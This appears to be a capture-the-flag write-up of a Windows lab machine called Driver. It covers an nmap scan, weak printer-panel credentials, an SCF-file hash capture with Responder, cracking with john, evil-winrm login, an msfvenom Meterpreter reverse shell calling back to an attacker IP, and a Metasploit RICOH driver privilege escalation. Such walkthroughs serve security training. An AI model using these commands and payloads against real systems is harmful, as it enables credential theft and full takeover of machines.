Driver

Gaining Access

Nmap scan:

$ nmap -p- --min-rate 5000 10.129.95.238
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-06 09:26 EDT
Nmap scan report for 10.129.95.238
Host is up (0.015s latency).
Not shown: 65531 filtered tcp ports (no-response)
PORT     STATE SERVICE
80/tcp   open  http
135/tcp  open  msrpc
445/tcp  open  microsoft-ds
5985/tcp open  wsman

Interestingly, WinRM is open.

SCF Exploit -> Creds

Port 80 requires credentials to access.

I tested weak credentials of admin:admin, and it worked. The page is some type of printer service panel.

The only working part is the Firmware Updates, which redirects us to this page:

This would take any file and upload them to the file share, and a user would open it. Because it uploads to SMB, we can create a malicious SCF File to exploit this.

SMB Share – SCF File AttacksPenetration Testing Lab

This uses the SCF file to access our machine via SMB, and responder would capture the hash. Create an SCF file like so and start responder.

[Shell]
Command=2
IconFile=\\10.10.14.13\share\pentestlab.ico
[Taskbar]
Command=ToggleDesktop

Once uploaded, responder would capture a hash:

This can be cracked easily:

$ john --wordlist=/usr/share/wordlists/rockyou.txt hash             
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
liltony          (tony)     
1g 0:00:00:00 DONE (2023-05-06 09:34) 100.0g/s 3276Kp/s 3276Kc/s 3276KC/s !!!!!!..eatme1
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.

We can then log in using evil-winrm since port 5985 is open.

Privilege Escalation

Printer Driver Exploit

I ran a WinPEAS scan to enumerate for me. While reading the output, we can see that there's Powershell history files:

Here's the file content:

*Evil-WinRM* PS C:\Users\tony\Documents> type C:\Users\tony\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
Add-Printer -PrinterName "RICOH_PCL6" -DriverName 'RICOH PCL6 UniversalDriver V4.23' -PortName 'lpt1:'

This, combined with the box name was a hint that we had to expoloit this specific driver somehow. I could only find Metasploit exploits, so let's use that. First we have to generate a Meterpreter reverse shell.

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.13 LPORT=4444 -f exe -o meter.exe

Then, we need to upload it and start exploit/multi/handler.

Then, we need to first run migrate -N explorer.exe , then background this and use the exploit/windows/local/ricoh_driver_privesc module. Then, run the following:

set payload windows/x64/meterpreter/reverse_tcp
set LHOST tun0
set LPORT 5555
exploit

Afterwards, we would get a shell as the SYSTEM user.

Rooted!